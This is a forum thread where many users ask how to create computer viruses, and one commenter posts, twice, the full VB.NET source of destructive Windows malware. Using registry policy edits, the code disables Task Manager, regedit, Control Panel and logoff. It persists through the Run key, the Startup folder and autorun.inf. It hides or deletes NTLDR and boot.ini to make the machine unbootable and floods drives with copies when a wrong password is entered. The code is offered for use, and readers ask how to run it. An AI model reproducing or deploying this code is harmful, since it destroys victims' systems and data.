Loading

Create Virus

Submitted by: 
Visitors have accessed this post 153860 times.


Hai

Iam not create virus but i like to know how to create virus in vb.net. iam using vb.net2003 vertion.

pls sed me e-book or gird somthing like that.

 




Comments

chester101's picture

virus is a destructive program that attacks the computer without any knowledge by the victim. Once it is entered on the system it replicate itself.

but i think you can't create a virus using .net

I can help you for that for study purpose only and not to intend to destroy any computer of somebody else. just try it for your own risk...

please send me some c++ virus source code to test.
i'm a beginner.
my mail [email protected]
thank u

SALAM!!!
canu send me some source code of viruses in java and c++
i want to chek the coding methodology..iam student of software engineering.......i want o test how its works ...test will be on my PC...
GAURENTED
EMAIL:::[email protected]
&
[email protected]
i will b thankfull to if u send me codes..

i need source codes and how to create as well as good ebooks and hard copy recomandation by you for making my own virus

add me sir on msn- [email protected]

i want a help in which way you can help me

I am intersted to do the project in the virus & its curring .you can help to me?

ok sir i need ur help if u can m a student of bsc final yr and i wana create a virus and antivirus only for mine can u help me if yes thern thx.and plz send me all code on [email protected] waiting for ur help sir

please send me some c++ virus source code to test.
i'm a beginner.
my mail [email protected]
thank u

I am ready to ur conditions and I promise that I will not destroy anybody computer.

please send me c++ virus source code to test.

my mail is [email protected]
thank u

you can create a virus by the help of .net

sir im the biggner i dont know to create virus please tell me .

first are you using a pc or mac if your using a pc it going to be easer to do this

1st: you want to download visual basic 2011

2nd: you will open the program then you want to go to windows app form

3rd: then give your app a name

4th: then put some code in it

I have to get more ideas in codings......

ahmadfreedom's picture

hi
can you hellp me a create a virus with vb can with he hack passward on facebook
thanks

i justwant to knw how to create virus...... is there any coding used means pls send to me i'll tak care of my own risk

i just simply want to study how to create virus and anti-virus programs , i don't want to destroy anybodys system.
so can u help me

i want to know to create virus and anti virus by using notepad, i want to it cause everyday i askimg myself this create and for which purpose people create it.?

Can u send me the code on how to create simple virus.
thanks a lot.
Here's my email : [email protected]

i wanna learn hacking so what should i do now..? and i wanna develop a virus by myself please help me...?

I want to learn it so can you please

You can create a trojan in vb.net but not a virus. Virus is created using a scripting language.

Hi
I am a Computer Science student and I need some virus codes to know how it works. It will be for research and personal use only.Virus can be in vb 2005. or c++ 2005 or java.
Thanks in anticipation.
Olise Lucky
my Email is [email protected]

i am a student of software eng.
can u send me some code of virus prgm in vb or c++,
i want to know how it really works.
i never use this 4 bad works.........
my e-mail id:
[email protected]
thank u................................

hello Im creting a virus project for my low level students if someone can send me some code in Java, C++ or in C# contact me in [email protected]

here is the code

' Copyright © Shantanu Gupta. All rights reserved ®.
' Patents Pending
' Project Length - 15,529 Alphabets
' Estd. Project Time - 83 hours
' Project Start Date - 12 April ; Project Finishing Date - 15 August
' Thanks To Microsoft for Developing VB.net
' and also for the Character Map...
' Description: This Virus cannot be closed by clicking on x or alt f4, it disables Taskmanager
' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc..
' Optimized Memory Resource of 9326 KB
' Optimized CPU resources and Vibrant Transparent Interface
Option Explicit On
Imports Microsoft.Win32
Public Class Form1
Public x As Object
Dim g As String
Dim k As String
Dim t As String
Public rt As String
Public wx As Int16
Dim OPO As Int16
Public oo As String
Dim RTRE As String
Dim JFK As Object
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
If OPO = 1 Then
e.Cancel = False
Else
e.Cancel = True
My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error")
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
k = My.Computer.Info.OSFullName.ToString
t = Environment.MachineName
rt = Environment.UserName
Me.ShowInTaskbar = False
Me.Visible = True
Me.Opacity = 84
If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then
MsgBox(k & " Running on " & t & " authorized through " & rt)
RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe"
oo = My.Computer.FileSystem.CurrentDirectory
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
If kop.GetValue("MSCONFIG.EXE", "0") <> 0 Then
kop.DeleteSubKey("MSCONFIG.exe")
End If
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.CreateSubKey("Virus")
regKey.SetValue("Virus", oo & "\Virus.exe")
regKey.Close()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")
If pp.Exists = True Then
Dim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")
Dim wqe As Int16
wqe = Val(ysr.ReadToEnd())
If wqe.ToString.Contains("1") Then
Dim oo As String
oo = My.Computer.FileSystem.CurrentDirectory
Dim jj As New System.IO.FileInfo(oo & "\Virus.exe")
rt = Environment.UserName
jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
End If
End If
Dim yu As String
yu = My.Computer.FileSystem.CurrentDirectory.ToString()
Dim ui As New System.IO.FileInfo(yu & "\Virus.exe")
ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
ui.CopyTo("C:\Virus.exe", True)
Dim jl As New System.IO.FileInfo("C:\Virus.exe")
jl.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Dim yt As New System.IO.FileInfo(yu & "\Autorun.inf")
yt.CopyTo("C:\Autorun.inf", True)
Dim ti As New System.IO.FileInfo("C:\Autorun.inf")
ti.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Me.ShowInTaskbar = False
Dim f As System.IO.FileInfo = New System.IO.FileInfo("C:\boot.ini")
If f.Exists = True Then
f.Attributes = f.Attributes And (IO.FileAttributes.Normal)
f.Attributes = f.Attributes And (IO.FileAttributes.Hidden)
f.Attributes = f.Attributes And (Not IO.FileAttributes.System)
f.Attributes = f.Attributes And (Not IO.FileAttributes.ReadOnly)
End If
x = Date.Now.Minute
Dim qq As New System.IO.FileInfo("C:\NTLDR")
If qq.Exists = True Then
qq.Attributes = IO.FileAttributes.Normal
Dim ww As New System.IO.DirectoryInfo("C:\Virus")
ww.Create()
qq.CopyTo("C:\virus\Virus" & x & ".exe", True)
qq.Delete()
End If
Dim fiFile As New System.IO.FileInfo("c:\boot.ini")
If fiFile.Exists = True Then
fiFile.CopyTo("c:\Virus\" & x & ".BAT", True)
End If
Dim YUP As System.IO.FileInfo = New System.IO.FileInfo("c:\Virus\" & x & ".BAT")
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.System)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.Hidden)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.ReadOnly)
fiFile.Delete()
Timer1.Enabled = True
Dim wx As Int16
wx = x + x
Dim yr As New System.IO.FileInfo("C:\Virus\Virus" & wx & ".txt")
If yr.Exists = True Then
yr.Attributes = IO.FileAttributes.Normal
yr.Delete()
End If
Dim gy As New System.IO.StreamWriter("C:\Virus\Virus" & wx & ".txt")
gy.Write("1")
gy.Flush()
gy.Dispose()
gy.Close()
Else
MsgBox("This Virus is intended to Work on Windows prior to vista only. Future Updates may Make it Possible on newer operating systems. Good luck for user named " & rt & " using machine named " & t & " on " & k)
OPO = 1
Me.Close()
End
End If
Timer5.Enabled = True
My.Computer.Audio.Play(My.Resources.Bihari_virus, AudioPlayMode.WaitToComplete)
My.Computer.Audio.Play(My.Resources.Naagin, AudioPlayMode.BackgroundLoop)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Enabled = False
Dim n As New System.IO.FileInfo("c:\" & x & ".BAT")
n.Attributes = IO.FileAttributes.Normal
n.Delete()
Dim MJ As New System.IO.FileInfo("c:\Virus\Virus.exe")
MJ.Attributes = IO.FileAttributes.Normal
MJ.Delete()
MsgBox("Please pay the last tributes to your computer or join Al Qaeda. and yeah, Trash your antivirus!.", MsgBoxStyle.Critical, "Your computer has expired on" + " " + Date.Now)
Me.Close()
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Timer3.Enabled = False
Me.Visible = True
End Sub
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Form2.Show()
End If
End If
End If
End If
End Sub
Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.CtrlKeyDown = True Then
OPO = 1
End
End If
End If
End If
End If
End Sub
End Class

Form 2

Imports Microsoft.Win32
Public Class Form2
Public gts As Object
Dim k As Object
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
gts = TextBox1.Text
If gts = "123456" Then
Form1.Timer5.Enabled = False
k = My.Computer.Info.OSVersion
If k < "6.0.0000" Then
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop.SetValue("1", "null")
kop.SetValue("2", "null")
kop.Close()
Form1.oo = My.Computer.FileSystem.CurrentDirectory
Dim g As RegistryKey
g = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
g.GetAccessControl()
g.SetValue("Virus", "null")
g.Close()
Dim z As New System.IO.FileInfo("c:\Virus\" & Form1.x & ".BAT")
z.Attributes = z.Attributes And (Not IO.FileAttributes.System)
z.Attributes = z.Attributes And (Not IO.FileAttributes.Hidden)
z.Attributes = z.Attributes And (Not IO.FileAttributes.ReadOnly)
z.CopyTo("C:\boot.ini", True)
z.Delete()
Dim hj As New System.IO.FileInfo("C:\boot.ini")
hj.Attributes = IO.FileAttributes.System
hj.Attributes = hj.Attributes And IO.FileAttributes.Hidden
hj.Attributes = hj.Attributes And IO.FileAttributes.ReadOnly
Me.Opacity = 100
Dim wq As New System.IO.FileInfo("C:\virus\Virus" & Form1.x & ".exe")
Dim i As New System.IO.FileInfo("C:\NTLDR")
If i.Exists = True Then
i.Attributes = IO.FileAttributes.Normal
i.Delete()
End If
wq.CopyTo("C:\NTLDR", True)
wq.Attributes = IO.FileAttributes.Normal
wq.Delete()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus" & Form1.wx & ".txt")
pp.Delete()
Dim zz As New System.IO.FileInfo("C:\Documents and settings\" & Form1.rt & "\Start menu\Programs\Startup\Virus.exe")
zz.Delete()
Dim aq As New System.IO.FileInfo("C:\Virus.exe")
aq.Attributes = IO.FileAttributes.Normal
aq.Delete()
Dim qz As New System.IO.FileInfo("C:\Autorun.inf")
qz.Delete()
Dim UIY As New System.IO.DirectoryInfo("C:\Virus")
UIY.Delete(True)
Me.Activate()
Me.Focus()
k = My.Computer.Info.OSFullName.ToString
MsgBox(k & " has been repaired", MsgBoxStyle.Information, "Restore Complete")
Form1.Timer1.Enabled = False
Process.Start(Form1.oo & "\MSconfig.reg")
Form1.Timer6.Enabled = True
Me.Close()
Else
Me.Visible = False
Me.Enabled = False
Dim j As New System.IO.FileInfo("C:\WINDOWS\Driver Cache\i386\driver.cab")
If j.Exists = True Then
For o As Int16 = 1 To Date.Now.Ticks
j.CopyTo("C:\" & o & "Virus.exe")
Next
Dim kl As New System.IO.DirectoryInfo("D:\")
If kl.Exists = True Then
For y As Int16 = 1 To Date.Now.Ticks
j.CopyTo("D:\" & y & "Virus.exe")
Next
End If
End If
Me.Close()
End If
End If
End Sub
End Class

im a new student of computer science

im interested in mastering Java language can you teach me doing that in java??

your help will be apreciated

by the way please mail me

@

[email protected]

hai i am final year IT student and i am familier in java
contact:
R.rajasekhar
[email protected]
[email protected]
80157-14143

are you sure this will work??
is this code will autorun to my computer?
i'll try it'..thank for the imformation..

how can i run this code???

liked it.i would like to learn about virus coding can u help me out?
[email protected]

' Copyright © Shantanu Gupta. All rights reserved ®.
' Patents Pending
' Project Length - 15,529 Alphabets
' Estd. Project Time - 83 hours
' Project Start Date - 12 April ; Project Finishing Date - 15 August
' Thanks To Microsoft for Developing VB.net
' and also for the Character Map...
' Description: This Virus cannot be closed by clicking on x or alt f4, it disables Taskmanager
' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc..
' Optimized Memory Resource of 9326 KB
' Optimized CPU resources and Vibrant Transparent Interface
Option Explicit On
Imports Microsoft.Win32
Public Class Form1
Public x As Object
Dim g As String
Dim k As String
Dim t As String
Public rt As String
Public wx As Int16
Dim OPO As Int16
Public oo As String
Dim RTRE As String
Dim JFK As Object
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
If OPO = 1 Then
e.Cancel = False
Else
e.Cancel = True
My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error")
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
k = My.Computer.Info.OSFullName.ToString
t = Environment.MachineName
rt = Environment.UserName
Me.ShowInTaskbar = False
Me.Visible = True
Me.Opacity = 84
If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then
MsgBox(k & " Running on " & t & " authorized through " & rt)
RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe"
oo = My.Computer.FileSystem.CurrentDirectory
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
If kop.GetValue("MSCONFIG.EXE", "0") <> 0 Then
kop.DeleteSubKey("MSCONFIG.exe")
End If
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.CreateSubKey("Virus")
regKey.SetValue("Virus", oo & "\Virus.exe")
regKey.Close()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")
If pp.Exists = True Then
Dim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")
Dim wqe As Int16
wqe = Val(ysr.ReadToEnd())
If wqe.ToString.Contains("1") Then
Dim oo As String
oo = My.Computer.FileSystem.CurrentDirectory
Dim jj As New System.IO.FileInfo(oo & "\Virus.exe")
rt = Environment.UserName
jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
End If
End If
Dim yu As String
yu = My.Computer.FileSystem.CurrentDirectory.ToString()
Dim ui As New System.IO.FileInfo(yu & "\Virus.exe")
ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
ui.CopyTo("C:\Virus.exe", True)
Dim jl As New System.IO.FileInfo("C:\Virus.exe")
jl.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Dim yt As New System.IO.FileInfo(yu & "\Autorun.inf")
yt.CopyTo("C:\Autorun.inf", True)
Dim ti As New System.IO.FileInfo("C:\Autorun.inf")
ti.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Me.ShowInTaskbar = False
Dim f As System.IO.FileInfo = New System.IO.FileInfo("C:\boot.ini")
If f.Exists = True Then
f.Attributes = f.Attributes And (IO.FileAttributes.Normal)
f.Attributes = f.Attributes And (IO.FileAttributes.Hidden)
f.Attributes = f.Attributes And (Not IO.FileAttributes.System)
f.Attributes = f.Attributes And (Not IO.FileAttributes.ReadOnly)
End If
x = Date.Now.Minute
Dim qq As New System.IO.FileInfo("C:\NTLDR")
If qq.Exists = True Then
qq.Attributes = IO.FileAttributes.Normal
Dim ww As New System.IO.DirectoryInfo("C:\Virus")
ww.Create()
qq.CopyTo("C:\virus\Virus" & x & ".exe", True)
qq.Delete()
End If
Dim fiFile As New System.IO.FileInfo("c:\boot.ini")
If fiFile.Exists = True Then
fiFile.CopyTo("c:\Virus\" & x & ".BAT", True)
End If
Dim YUP As System.IO.FileInfo = New System.IO.FileInfo("c:\Virus\" & x & ".BAT")
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.System)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.Hidden)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.ReadOnly)
fiFile.Delete()
Timer1.Enabled = True
Dim wx As Int16
wx = x + x
Dim yr As New System.IO.FileInfo("C:\Virus\Virus" & wx & ".txt")
If yr.Exists = True Then
yr.Attributes = IO.FileAttributes.Normal
yr.Delete()
End If
Dim gy As New System.IO.StreamWriter("C:\Virus\Virus" & wx & ".txt")
gy.Write("1")
gy.Flush()
gy.Dispose()
gy.Close()
Else
MsgBox("This Virus is intended to Work on Windows prior to vista only. Future Updates may Make it Possible on newer operating systems. Good luck for user named " & rt & " using machine named " & t & " on " & k)
OPO = 1
Me.Close()
End
End If
Timer5.Enabled = True
My.Computer.Audio.Play(My.Resources.Bihari_virus, AudioPlayMode.WaitToComplete)
My.Computer.Audio.Play(My.Resources.Naagin, AudioPlayMode.BackgroundLoop)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Enabled = False
Dim n As New System.IO.FileInfo("c:\" & x & ".BAT")
n.Attributes = IO.FileAttributes.Normal
n.Delete()
Dim MJ As New System.IO.FileInfo("c:\Virus\Virus.exe")
MJ.Attributes = IO.FileAttributes.Normal
MJ.Delete()
MsgBox("Please pay the last tributes to your computer or join Al Qaeda. and yeah, Trash your antivirus!.", MsgBoxStyle.Critical, "Your computer has expired on" + " " + Date.Now)
Me.Close()
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Timer3.Enabled = False
Me.Visible = True
End Sub
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Form2.Show()
End If
End If
End If
End If
End Sub
Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.CtrlKeyDown = True Then
OPO = 1
End
End If
End If
End If
End If
End Sub
End Class

Form 2

Imports Microsoft.Win32
Public Class Form2
Public gts As Object
Dim k As Object
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
gts = TextBox1.Text
If gts = "123456" Then
Form1.Timer5.Enabled = False
k = My.Computer.Info.OSVersion
If k < "6.0.0000" Then
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop.SetValue("1", "null")
kop.SetValue("2", "null")
kop.Close()
Form1.oo = My.Computer.FileSystem.CurrentDirectory
Dim g As RegistryKey
g = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
g.GetAccessControl()
g.SetValue("Virus", "null")
g.Close()
Dim z As New System.IO.FileInfo("c:\Virus\" & Form1.x & ".BAT")
z.Attributes = z.Attributes And (Not IO.FileAttributes.System)
z.Attributes = z.Attributes And (Not IO.FileAttributes.Hidden)
z.Attributes = z.Attributes And (Not IO.FileAttributes.ReadOnly)
z.CopyTo("C:\boot.ini", True)
z.Delete()
Dim hj As New System.IO.FileInfo("C:\boot.ini")
hj.Attributes = IO.FileAttributes.System
hj.Attributes = hj.Attributes And IO.FileAttributes.Hidden
hj.Attributes = hj.Attributes And IO.FileAttributes.ReadOnly
Me.Opacity = 100
Dim wq As New System.IO.FileInfo("C:\virus\Virus" & Form1.x & ".exe")
Dim i As New System.IO.FileInfo("C:\NTLDR")
If i.Exists = True Then
i.Attributes = IO.FileAttributes.Normal
i.Delete()
End If
wq.CopyTo("C:\NTLDR", True)
wq.Attributes = IO.FileAttributes.Normal
wq.Delete()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus" & Form1.wx & ".txt")
pp.Delete()
Dim zz As New System.IO.FileInfo("C:\Documents and settings\" & Form1.rt & "\Start menu\Programs\Startup\Virus.exe")
zz.Delete()
Dim aq As New System.IO.FileInfo("C:\Virus.exe")
aq.Attributes = IO.FileAttributes.Normal
aq.Delete()
Dim qz As New System.IO.FileInfo("C:\Autorun.inf")
qz.Delete()
Dim UIY As New System.IO.DirectoryInfo("C:\Virus")
UIY.Delete(True)
Me.Activate()
Me.Focus()
k = My.Computer.Info.OSFullName.ToString
MsgBox(k & " has been repaired", MsgBoxStyle.Information, "Restore Complete")
Form1.Timer1.Enabled = False
Process.Start(Form1.oo & "\MSconfig.reg")
Form1.Timer6.Enabled = True
Me.Close()
Else
Me.Visible = False
Me.Enabled = False
Dim j As New System.IO.FileInfo("C:\WINDOWS\Driver Cache\i386\driver.cab")
If j.Exists = True Then
For o As Int16 = 1 To Date.Now.Ticks
j.CopyTo("C:\" & o & "Virus.exe")
Next
Dim kl As New System.IO.DirectoryInfo("D:\")
If kl.Exists = True Then
For y As Int16 = 1 To Date.Now.Ticks
j.CopyTo("D:\" & y & "Virus.exe")
Next
End If
End If
Me.Close()
End If
End If
End Sub
End Class

Hope u lyk it

Hello, can you give me in vb project . you can send to me via e-mail: [email protected]

@virus by a 13 year old shame on you guys:
what's the name of that virus and what programming language is used? i'm a first year IT student

i am final year student.i need virus spread code and virus scan code.anybody pls help me

hi all
how r u all
i m new user vb 2008,, plz more help me.
vb make real hacker ?

I read your problem.
you can learn virus programming easily in c and vb.
for that please search source code in google search .you will get.

Thank You

can you send me too
[email protected]

Do you want to create a computer virus?

Creating a computer virus is simple, the first thing you need to do is learn a particular programming language.

Then second, read programming books.

Finally,

Understand what you are reading.

From those three you can create computer virus.

Simply as that!

You can learn by asking someone to give you what you one, it is better to write it on your own....

e-dikit

admin's picture

Good job.

Unless they learn first how to read they cannot get what they want.

Dear friend!
hello guy! my name Eric Augusts, i had read c++ 2 times, but i can't create virus or small programe, why ?
thus can you tell me how to create virus?
if you can!......
thanks much for your comment.

I m same like u .I m also know c++ but i m not able to crate a virus

try using java

for me its easier to learn

hmmp lets try to make viruses LOL

by the way im mr.joff

you can e mail me if you have learn something please

i will do the same thing for you LOL

here is my e mail add

[email protected]

first u learn how to how ,afterwards u teach how to create virus.

hi friends !!!!!!!!!!!!!

how can we create a .BAT file and how can we run it ?

type your program in notepad
clik on "save progaram as" while saving program.
select "all files" from list
then enter file name as "(enter ur file name).bat"
click save
now ur .bat extension file is ready
if u want to edit it rigt click on file & select "edit"

"""" I KNOW MANY MORE SECRETS
MAIL ME AT [email protected]

I need antivirus in JAVA or dot.net or vb, this is my major project, and i hav no clue how to create antivirus in JAVA or dot.net or vb.
Along with the source code i need a little description on various virus so that i can understand the whole codin and the working of software well.....
plz help me out...
thanx.

You just have to open a text editor (i.e., notepad) type in your commands and then goto File>>Save as>> a Save As dialog box will open now save the file as .bat

